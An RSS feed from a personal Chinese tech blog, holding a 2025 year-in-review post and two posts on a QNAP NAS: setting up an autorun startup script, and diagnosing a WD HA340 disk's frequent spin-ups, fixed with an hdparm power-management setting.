<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>situ2001</title><description>Explore with curiosity. Build with empathy.</description><link>https://situ2001.com/</link><follow_challenge><feedId>69199567573101568</feedId><userId>41663616878351360</userId></follow_challenge><item><title>2025 年终总结 - 黑白素描</title><link>https://situ2001.com/blog/2025-summary/</link><guid isPermaLink="true">https://situ2001.com/blog/2025-summary/</guid><description>2025 年，我购入了相机，却决定用文字完成一年的构图</description><pubDate>Fri, 02 Jan 2026 12:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;始于拖延&lt;/h2&gt;
&lt;p&gt;哎，时间好快...又是一年了，是时候回顾一下 2025 年并写一篇年度总结了&lt;/p&gt;
&lt;p&gt;但感觉今年并没有很多特别的事情发生，外加个人拖延又犯了，原本打算年底写的年度总结迟迟没有动笔&lt;/p&gt;
&lt;p&gt;不过，到了元旦那天，我突然觉得仔细感受当下的小确幸也是很有&lt;strong&gt;意义&lt;/strong&gt;的，于是就决定写下这篇年度总结了&lt;/p&gt;
&lt;h2&gt;工作&lt;/h2&gt;
&lt;p&gt;2025 年底到了，毕业后工作也有 1 年半了，也是全年都在职场工作的一年&lt;/p&gt;
&lt;p&gt;这一年里，工作主要的内容依旧围绕着 Web 前端展开，同时也偶尔涉及到工具链和客户端 Native 的内容（涉及到一些救火和风险把控的工作，如及时制止客户端的一些新改动，避免新版本上线后影响全网...）&lt;/p&gt;
&lt;p&gt;后来发现，除了从 0 到 1 做一个新项目之外，适当地&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;接触各种技术栈和新鲜事物&lt;/li&gt;
&lt;li&gt;输出技术文档和设计方案&lt;/li&gt;
&lt;li&gt;处理一些突发事件&lt;/li&gt;
&lt;li&gt;优化和维护已有的系统&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;也是很有意思的，并且轮换地做，可以刺激多巴胺分泌并提高执行力，让工作不至于太单调&lt;/p&gt;
&lt;h2&gt;开发&lt;/h2&gt;
&lt;p&gt;似乎没啥亮点？但帮到自己的同时，又似乎帮到了别人？最让我没想到的是，我今年居然写了这么多小项目…&lt;/p&gt;
&lt;p&gt;都搁置在 GitHub https://github.com/situ2001 里了，下面是一些简单的介绍：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/KeyPhantom&quot;&gt;KeyPhantom&lt;/a&gt;&lt;/strong&gt; (50 Stars)
macOS 小工具。能将特定快捷键组合转换为特定的按键事件，并将该事件转发到特定的应用（如同幽灵一般），以实现一些特殊需求：如一边微信读书阅读一边打游戏。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/unplugin-mcp&quot;&gt;unplugin-mcp&lt;/a&gt;&lt;/strong&gt; (31 Stars)
MCP 协议出来不久后，脑洞大开写的一个让 AI 介入 JS Bundler构建的输入/过程/输出的原型 (MVP)。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/gitea-bulk-migration&quot;&gt;gitea-bulk-migration&lt;/a&gt;&lt;/strong&gt; (26 Stars)
GitHub 在今年某个时候挂了无法访问，网上一片恐慌。于是我就摸索 Gitea 的 GitHub repo 同步功能。但无奈当时的 Gitea 无法支持批量导入，只好研究 Go API 并写了个批量从 GitHub 单向同步的 repo list 到 Gitea 的工具。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/obsidian-tab-group-arrangement&quot;&gt;obsidian-tab-group-arrangement&lt;/a&gt;&lt;/strong&gt; (11 Stars)
简单来说，由于 VSCode 的 &quot;Expand active group&quot; 的功能太好用，就心血来潮移植到了 Obsidian 里用。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/auto-adb&quot;&gt;auto-adb&lt;/a&gt;&lt;/strong&gt; (6 Stars)
公司 WiFi 干扰太大速度太慢，开发用的手机频繁开关 HTTP Proxy 又太麻烦。于是就写了个工具，检查手机连接自动 HTTP Proxy 地址并做端口转发，达到一键设置 Proxy 并让 HTTP 流量全走 USB 的目的。目前开发 H5 跟 Hippy 一样爽滑。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/scoped-rem&quot;&gt;scoped-rem&lt;/a&gt;&lt;/strong&gt; (1 Stars)
跨根字体大小不一致的仓库无缝平移组件（如将A平台业务迁移到B平台）的 Webpack loader，简单来说就是让 rem 指向其他的 font-size。已经塞在公司项目仓库的构建配置里运行多日，目前有不少平移上线类的项目在使用该 loader 进行构建。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/which-npm&quot;&gt;which-npm&lt;/a&gt;&lt;/strong&gt; (1 Stars)
迷失在深层工作目录时的救星，打一个 which-npm 命令，就能让你马上知道你现在在哪个 npm 包里工作…&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/oxnode&quot;&gt;oxnode&lt;/a&gt;&lt;/strong&gt;
An oxc-node CLI wrapper, 相当于 oxc-node 的 alias。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/nth-week&quot;&gt;nth-week&lt;/a&gt;&lt;/strong&gt;
查询现在是第几周的 CLI（我有写周记的习惯…）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/npm-package-starter&quot;&gt;npm-package-starter&lt;/a&gt;&lt;/strong&gt;
npm 包起包模板，每次有新想法的时候，就再也不用从零到一地进行初始化工作了（PS：btw 也许用 AI 的 Skill 也能做到）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/picmark&quot;&gt;picmark&lt;/a&gt;&lt;/strong&gt;
给图片加水印的 CLI（发到朋友圈的照片里的边角水印就是用这个工具打的）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/situ2001/git-push-confirm&quot;&gt;git-push-confirm&lt;/a&gt;&lt;/strong&gt;
在每次 git push 前都打印你的 author 和 email 信息供二次确定的小工具。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;阅读&lt;/h2&gt;
&lt;p&gt;今年读了下面这几本书，不多不少，都是在通勤路上和睡前用 iPad 看完的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《以日为鉴：衰退时代的生存指南》：回顾了日本经济从泡沫破裂到漫长的接近 30 年的调整期。历史虽然不会简单重复，但总有多多少少的影子重叠。&lt;/li&gt;
&lt;li&gt;《分心不是我的错》/《分心也有好人生》：讲述了神经多样性症候群的特征和一些接受这些特征并与之共存的方法（吧？印象已经模糊了，但当时学到了不少）。&lt;/li&gt;
&lt;li&gt;《只管去做》：讲述了如何定下自己的目标并去执行。里面讲到了一个“写给自己五年后的一封信”，看起来还挺有意思的，但可惜我还是没有去践行写信…&lt;/li&gt;
&lt;li&gt;《清单革命》：反复来反复去就是在讲一个核心的要点，那就是要用好清单。要把可复用的重要流程给提炼为清单，在执行的时候按照清单来会减少很多不必要（无能之错）的错误（其实就是给每一类的 case 的设置一个可以操作的 Procedure？）。PS：其实，AI Agent 的 Plan Mode 是不是也是参考了《清单革命》里的一些思维？&lt;/li&gt;
&lt;li&gt;《阿里工程师的自我修养》：讲述一些软件工程师必备的一些思维方式和模型，其实里面讲的好些内容都是跟《程序员的底层思维》这本书讲到的内容差不多。反复出现和重要的，我想可能是如何对现实/现象进行收集、分类、归纳、推理、洞察，并进行抽象和通过第一性原理进行分析。&lt;/li&gt;
&lt;li&gt;《游戏编程模式》：有意思的书，讲述了很多如何对游戏（如其数据、行为等）进行设计和抽象的方法。也让我意识到了软件开发，就是对现实世界的建模和模拟。受益匪浅。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;电子设备&lt;/h2&gt;
&lt;p&gt;电子设备的话，今年就克制许多了，没有增加多少电子设备。由于我不喜欢出二手，因此购入的物品都是经过深思熟虑的：&lt;/p&gt;
&lt;h3&gt;iPad&lt;/h3&gt;
&lt;p&gt;iPad mini 7。很满意的一次购物体验，踩上了年中的国补末班车入手的，3000 多入手的 256G eSIM 版本（还送一年 300GB 的流量）。得益于小巧的机身以及能随时联网的能力，这台设备并没有吃灰而成为取代 Kindle 的泡面盖…&lt;/p&gt;
&lt;p&gt;买回来这大半年的主要用途有：电子阅读器（微信读书和刷各种信息流）和MacBook 的副屏（当看板）&lt;/p&gt;
&lt;p&gt;使用场景：地铁通勤阅读用、躺床上钻被窝阅读用、上班当副屏信息屏用&lt;/p&gt;
&lt;h3&gt;相机&lt;/h3&gt;
&lt;p&gt;在今年 9 月份去 HK 东涌 City Walk 之后，对于拥有比手机更清晰的照片和无缝的光学变焦的想法越来越强烈。再看了看相册里 8 年积累的 5 万张照片...于是在今年国庆假之后，趁着双十一特惠活动，购入了一套相机，恰好满足了这两个想法。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Panasonic DC-S5M2（机身）：经典的水桶机，经过固件大厂持续两年的打磨，功能已经很够用了。&lt;/li&gt;
&lt;li&gt;LUMIX S28-200 F/4-7.1（镜头）：一个轻量级的大变焦，满足了我上述的需求。虽然光圈有点小，但我主要拍景并锁 f/8。同时，协同防抖和机身的高感水平又兜住了画质的底线…算是一种均衡之美吧&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;搬家&lt;/h2&gt;
&lt;p&gt;今年年中开始度过独居生活了（之前是跟朋友一起合租）。&lt;/p&gt;
&lt;p&gt;值得一提的是，深圳市区 + 小区房 + 一房一厅 + 非隔断间这种配置组合真的是挺贵的。对于出租方，这可能是租金回报率最高的配置了（不考虑隔断间魔改的话）。最后在各种 tradeoff 之下，舍弃了离地铁站的便利（之前在地铁站上方，现在需要步行一段距离才能到地铁站），才以相对可以的价格租下来。&lt;/p&gt;
&lt;p&gt;值得一提的是，搬家其实是一件挺费力的事情，虽然大家现在说有搬家公司可选，你给钱就能搬（搬家公司帮你拉货，甚至如果舍得可以找日式搬家，你手都不用动一下）。但我再三考虑下，还是选择了搬家公司拉货-only&lt;/p&gt;
&lt;p&gt;在整理物品的时候，很多贵重物品还是得自己做好单独的打包和分区以避免破碎，也发现，虽然之前合租我的一亩三分地就在一个面积有限的房间里，但整理的时候还是费了不少力气和时间。中途寻找合适的房间也是很耗心力的事情，因此我也认为搬家并不是一件轻松的事情（如果你不舍得花钱太多...）&lt;/p&gt;
&lt;p&gt;不过到了不得不搬家的时候，还是得搬离的&lt;/p&gt;
&lt;p&gt;PS：搬家会在相当的一段时间内对自己的心理状态产生一定的影响，务必要提前做好心理建设&lt;/p&gt;
&lt;p&gt;现在有了独立的卧室，客厅，厨房，卫生间和两个小阳台，过着质量还不错的生活，还是有点小挺满足的&lt;/p&gt;
&lt;h2&gt;AI (LLM) 的冲击&lt;/h2&gt;
&lt;p&gt;AI 的发展可谓是改变了我的各种工作流。虽然我的工作流没有像自媒体描述得那么夸张，但也许能帮上你。&lt;/p&gt;
&lt;p&gt;大概就是这几个要点，掌握了就能更好地使用 AI。怎么说呢，「结构」+「品味」+「思考」吧：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;心中有结构（结构化思维）&lt;/li&gt;
&lt;li&gt;不要一口气让 AI 做很多事（原子化拆解问题，一件件事情来）&lt;/li&gt;
&lt;li&gt;提供适量的上下文（过少会让 AI 不知所以，但过多又可能会加剧幻觉，需要适中）&lt;/li&gt;
&lt;li&gt;把事情说清楚，并提供精准的 Prompt（并在该用专业术语就用专业术语）&lt;/li&gt;
&lt;li&gt;在提交问题前能预测到 AI 的大致输出内容&lt;/li&gt;
&lt;li&gt;警惕生成速度快于人的理解速度&lt;/li&gt;
&lt;li&gt;使用者要有自己的把握，并保持思考
&lt;ol&gt;
&lt;li&gt;【非探索类】个人的知识面能跟上 AI 的输出&lt;/li&gt;
&lt;li&gt;【探索类】要思考某领域需要什么知识？AI 的逻辑和输出是否正确？&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;具体到我的日常使用：&lt;/p&gt;
&lt;h3&gt;编程&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;对需求建模、对项目功能和整体架构进行构思并在与 AI 的讨论下形成一份份的 md 文件（含设计方案）&lt;/li&gt;
&lt;li&gt;审视 md 文件的内容&lt;/li&gt;
&lt;li&gt;与 AI 一起拆解方案，形成 TODO list&lt;/li&gt;
&lt;li&gt;开始编程
&lt;ol&gt;
&lt;li&gt;关键或觉得 AI 不易实现的地方：手敲 + tab completion&lt;/li&gt;
&lt;li&gt;其他地方或直觉预测到 AI 能给出不错的结果的地方：给 CLI 输入 Prompt（并手动初筛上下文，如有必要，使用如 Context7 等 MCP Tool 提供充足的上下文），让它一步步地生成代码&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;信息检索（互联网）&lt;/h3&gt;
&lt;p&gt;在手动搜索的同时，也用 Grok 或 Gemini 获取信息。如果是调查特定的领域知识，我会尝试使用 Gemini Deep Search 或 NotebookLM 进行深度探索，获得必要的可以日后自主探索的元信息&lt;/p&gt;
&lt;h3&gt;信息检索（本地笔记）&lt;/h3&gt;
&lt;p&gt;直接使用 Agent CLI 对我的 Obsidian 笔记库（全是 markdown 文件）进行检索。&lt;/p&gt;
&lt;p&gt;顺带一提，CLI 做的信息获取方式挺有意思的，就是会根据你的意图来自行地对逐步信息的获取，而不是一口气吞下所有 md 文件。值得一提的是，在这个场合下，你依旧能通过提供更准确的上下文给 AI 进行更准确搜索。&lt;/p&gt;
&lt;p&gt;比如，当我要它分析我 2025 年的所有日记的时候，我会给出提示：请你结合我 2025 年日记内容，分析出我在什么时候专注陷入一件事情无法自拔 (hyperfocus)。注：日记 glob 为 &lt;code&gt;001 Daily/2025_*.md&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;个人写作&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;思考好内容的大致结构&lt;/li&gt;
&lt;li&gt;一口气在对应的地方吐出你想表达的内容（草稿）&lt;/li&gt;
&lt;li&gt;附上引用的外部资料&lt;/li&gt;
&lt;li&gt;喂给 AI review&lt;/li&gt;
&lt;li&gt;审视结论&lt;/li&gt;
&lt;li&gt;重新精修润色原来的草稿（人工，我认为表达任何事情，活人感是很重要的）&lt;/li&gt;
&lt;li&gt;最后文章就出来了&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;小彩蛋：本文章的素材是通过拼接我一年来的日记和周记内容后上传到 NotebookLM 进行深刻复盘和提炼后进行采集的。但文章的结构、草稿和正文依旧是我自己亲自完成的&lt;/p&gt;
&lt;h3&gt;保持好奇和思考&lt;/h3&gt;
&lt;p&gt;最后，不管后面 AI 发展成什么样，我们都应该要：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;保持好奇：主动去见识&amp;amp;接触新的知识，哪怕一时半会不懂（在后面是有很大概率连点成线成面的）&lt;/li&gt;
&lt;li&gt;学会思考：不要全盘接受 AI 给出的答案，思考是否正确、是否有更加好的解决方法&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;终于意义&lt;/h2&gt;
&lt;p&gt;对了，这里不会反复总结上方的内容了，而是想说一下我写作的时候突然出现的感受&lt;/p&gt;
&lt;p&gt;在这里，我想重申一下开头的&lt;strong&gt;意义&lt;/strong&gt;二字&lt;/p&gt;
&lt;p&gt;生活在这个时代，AI (LLM) 的出现，似乎让我们每个人都能做出很多以前做不到的事情&lt;/p&gt;
&lt;p&gt;但同时，你能做到别人之前不能做到的事情，也有可能因为 AI 的出现而变得不再稀缺和有价值了&lt;/p&gt;
&lt;p&gt;这个时候，自我存在的&lt;strong&gt;意义&lt;/strong&gt;就显得尤为重要了&lt;/p&gt;
&lt;p&gt;人们存在的&lt;strong&gt;意义&lt;/strong&gt;是什么？&lt;/p&gt;
&lt;p&gt;对于这个问题，我还没有一个很好的答案&lt;/p&gt;
&lt;p&gt;但我初步觉得，在这个 AI 能够无限输入并生成无限结果的时代&lt;/p&gt;
&lt;p&gt;即使我的产出不再稀缺，但我此刻的感知、情绪，经历的每一件事、与每一个人的连接，以及内心未被磨灭的灵性&lt;/p&gt;
&lt;p&gt;都将是宇宙中独一无二的副本&lt;/p&gt;
&lt;p&gt;这是没有任何机器，甚至没有任何其他生命能复制和重现的&lt;/p&gt;
&lt;p&gt;只要还能爱上具体的生活，还能好好感受当下的每一次心跳&lt;/p&gt;
&lt;p&gt;就足以对抗虚无&lt;/p&gt;
&lt;p&gt;对吧？&lt;/p&gt;
&lt;p&gt;所以，珍惜当下，好好活在当下吧&lt;/p&gt;
</content:encoded><category>年终总结</category></item><item><title>在威联通 NAS 配置自启动脚本的方法</title><link>https://situ2001.com/blog/qnap-autorun-config/</link><guid isPermaLink="true">https://situ2001.com/blog/qnap-autorun-config/</guid><description>在威联通 NAS 上配置自启动脚本的方法</description><pubDate>Sun, 29 Jun 2025 08:30:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;为什么我要配置自启动脚本&lt;/h2&gt;
&lt;p&gt;请见文章 &lt;a href=&quot;https://situ2001.com/blog/qnap-ha340-disk-bug&quot;&gt;西数 HA340 硬盘在 QNAP NAS 上频繁启停的问题排查与解决方法&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在上述这篇文章里，我提及到了解决方法，但当时是要每次重启后都要执行一次命令，这样显然不够方便，如果忘记了就会继续频繁启停，导致硬盘损坏...&lt;/p&gt;
&lt;p&gt;因此把设置硬盘 APM 的命令 &lt;code&gt;sudo hdparm -B 254 /dev/sdb&lt;/code&gt; 添加到开机启动脚本就显得非常有必要了&lt;/p&gt;
&lt;h2&gt;如何配置&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;下面的内容&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;QNAP 和威联通指的都是 QNAP NAS&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;基于 Intel 的 QNAP NAS（比如 TS-464C）进行的，如果有其他架构的 QNAP NAS，可能会有些许差异。请参考官方文档 &lt;a href=&quot;https://www.qnap.com/en/how-to/faq/article/running-your-own-application-at-startup&quot;&gt;Running Your Own Application at Startup&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h3&gt;前置步骤&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;一个 SSH Client（比如 PuTTY/Termius/macOS 自带 SSH）&lt;/li&gt;
&lt;li&gt;在威联通 NAS 上启用 SSH 功能：打开“Control Panel”（控制台） &amp;gt; “Network &amp;amp; File Services”（网络和文件服务）&amp;gt; Telnet/SSH &amp;gt; 启用“Allow SSH connection”（允许 SSH 连接）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;开始操作&lt;/h3&gt;
&lt;p&gt;首先进入 &lt;code&gt;sudo&lt;/code&gt; interactive 模式，一般来说，输入你的威联通 NAS 的管理员密码即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo -i
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后将配置所处的 ramblock 挂载到 &lt;code&gt;/tmp/config&lt;/code&gt; 目录下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mount $(/sbin/hal_app --get_boot_pd port_id=0)6 /tmp/config
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;code&gt;/tmp/config&lt;/code&gt; 目录下创建一个名为 &lt;code&gt;autorun.sh&lt;/code&gt; 的文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;touch /tmp/config/autorun.sh
vi /tmp/config/autorun.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;code&gt;vi&lt;/code&gt; 编辑器中输入以下内容（按 &lt;code&gt;i&lt;/code&gt; 进入编辑模式）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo hdparm -B 254 /dev/sdb # 替换为你自己的自启动脚本内容
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;按 &lt;code&gt;Esc&lt;/code&gt; 键退出编辑模式，然后输入 &lt;code&gt;:x&lt;/code&gt; 保存并退出&lt;/p&gt;
&lt;p&gt;接下来需要给这个脚本文件添加可执行权限&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chmod +x /tmp/config/autorun.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，卸载刚刚挂载的 ramblock&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;umount /tmp/config
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;验证配置&lt;/h3&gt;
&lt;p&gt;按道理来说，按照上述步骤操作后，重启 NAS 后就会自动执行脚本了。可以这么查看是否会生效：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;打开“Control Panel”（控制台） &amp;gt; “Hardware”（硬件） &amp;gt; “General”（常规）&lt;/li&gt;
&lt;li&gt;勾选 “Run user defined processes during startup”（启动时运行用户自定义的进程）&lt;/li&gt;
&lt;li&gt;点击 “View autorun.sh”（查看 autorun.sh），如果能看到你刚刚添加的脚本内容，就说明配置成功了&lt;/li&gt;
&lt;li&gt;亲自执行：在重启后，是否真的执行了脚本。（比如我配置的执行 &lt;code&gt;sudo hdparm -B 254 /dev/sdb&lt;/code&gt; 命令，那么验证方法就是通过 &lt;code&gt;sudo hdparm -I /dev/sdb&lt;/code&gt; 查看 &lt;code&gt;/dev/sdb&lt;/code&gt; 的 APM 值是否为 &lt;code&gt;0xfe&lt;/code&gt;）&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;结尾&lt;/h2&gt;
&lt;p&gt;操作步骤较为直接，按官方文档执行即可。但还是要吐槽一下，没想到 HA340 在 QNAP 上会有这么奇葩的问题，真实令人无语...&lt;/p&gt;
&lt;p&gt;可能这也是为什么 QNAP 会有一个官方的硬盘兼容性列表吧...也是为什么群晖在最新的机型（ds925+）上不再支持自家以外的硬盘的原因吧...&lt;/p&gt;
</content:encoded><category>技术</category><category>QNAP</category><category>威联通</category><category>NAS</category></item><item><title>西数 HA340 硬盘在 QNAP NAS 上频繁启停的问题排查与解决方法</title><link>https://situ2001.com/blog/qnap-ha340-disk-bug/</link><guid isPermaLink="true">https://situ2001.com/blog/qnap-ha340-disk-bug/</guid><description>西数 HA340 硬盘在 QNAP NAS 上频繁启停的问题，经过排查发现是硬盘的 APM 值变为 0 导致的，可以通过 hdparm 命令进行设置这个值以进行规避</description><pubDate>Fri, 20 Jun 2025 13:10:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;tl;dr&lt;/h2&gt;
&lt;p&gt;如果你的硬盘是这样的型号和版本，并于 QNAP（威联通） NAS 上使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Western Digital Ultrastar DC HA340
Model:            WUS721208BLE6L4
Firmware version: V1GNW9EQ
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也遇到下面所述的频繁启停的问题，可以通过 SSH 登录到你的 QNAP NAS，执行以下命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 需要注意：每次重启后都需要执行一次，如果需要长期生效，可以将此命令添加到开机启动脚本中
# 将 /dev/sdb 替换为你的硬盘设备名
sudo hdparm -B 254 /dev/sdb
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;问题描述&lt;/h2&gt;
&lt;p&gt;有一段时间，我总是能在客厅听到转盘的高速启转声，我以为是隔壁的邻居在家里装修，但后来发现事情并没有那么简单。我不论是白天还是黑夜，只要一坐到客厅沙发，就能时不时地听到这个声音，并且频率还挺高的，大概几分钟就能听到一次&lt;/p&gt;
&lt;p&gt;起初我不以为然，以为是我的幻觉或者是周围的噪音。但后来有一次我在清洁我放置 NAS 的桌子的时候，发现这个声音又出现了并且还不小。我仔细一听，发现声音是从 QNAP NAS 里的硬盘发出来的&lt;/p&gt;
&lt;p&gt;然后打开 QNAP NAS 的硬盘管理页面，切换到 S.M.A.R.T 数据，发现其中 HA340 硬盘的启停次数已经超过了 37000 次！并且这个值还在不断地增加&lt;/p&gt;
&lt;h2&gt;初步排查&lt;/h2&gt;
&lt;p&gt;嘶，这肯定是哪里出现问题了，先观察一段时间，并把每次的记录都通过表格记录了下来（&lt;code&gt;0x04&lt;/code&gt;或&lt;code&gt;0x0c&lt;/code&gt;，因为这两个值是一样的且都在飞快地增加）&lt;/p&gt;
&lt;p&gt;这个问题是年前发现的，但由于工作比较忙，所以一直没有时间去排查，只能每天记录一下启停次数，一直到年后放假回到家，发现这个次数已经来到了 66000 次！真的把我吓到了...&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;记录时间&lt;/th&gt;
&lt;th&gt;0x04 &amp;amp; 0x0c&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.19 11:40&lt;/td&gt;
&lt;td&gt;37883&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.19 12:20&lt;/td&gt;
&lt;td&gt;37899&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.20 10:55&lt;/td&gt;
&lt;td&gt;37929&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.21 19:30&lt;/td&gt;
&lt;td&gt;38543&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.21 19:44&lt;/td&gt;
&lt;td&gt;38565&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.21 19:46&lt;/td&gt;
&lt;td&gt;38572&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.22 09:24&lt;/td&gt;
&lt;td&gt;38742&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.23 09:17&lt;/td&gt;
&lt;td&gt;39618&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.28 18:58&lt;/td&gt;
&lt;td&gt;48077&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.29 11:15&lt;/td&gt;
&lt;td&gt;49124&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.31 21:21&lt;/td&gt;
&lt;td&gt;52957&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.01.31 21:38&lt;/td&gt;
&lt;td&gt;52970&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.02.01 14:58&lt;/td&gt;
&lt;td&gt;54071&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.02.01 19:56&lt;/td&gt;
&lt;td&gt;54386&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.02.01 20:02&lt;/td&gt;
&lt;td&gt;54394&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.02.04 13:17&lt;/td&gt;
&lt;td&gt;58721&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.02.07 22:52&lt;/td&gt;
&lt;td&gt;63993&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2025.02.09 11:56&lt;/td&gt;
&lt;td&gt;66383&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;进一步排查&lt;/h2&gt;
&lt;p&gt;这些数据看着像是线性增长的，说明这个问题在之前的某个时间点就开始了。使用 GPT 写了一段 py + matplotlib 的代码，画出了启停次数的变化曲线，给出了这样子的图片&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;翻了一下 QNAP 的日志，发现在这个时间点附近，我进行了一次重启，但这也无法解释硬盘刚到货的重启为什么没有影响到硬盘...&lt;/p&gt;
&lt;p&gt;没办法，可能是硬盘本身有问题？我于是联系京东更换了同型号的硬盘，新盘到货之后，一切看起来回归正常，启停次数也没有再增加。&lt;/p&gt;
&lt;p&gt;但是过了大概 45 天左右，我又听到了这个声音，打开 S.M.A.R.T 数据一看，发现启停次数又开始增加了。。。这次的启停次数已经超过了 6000 次&lt;/p&gt;
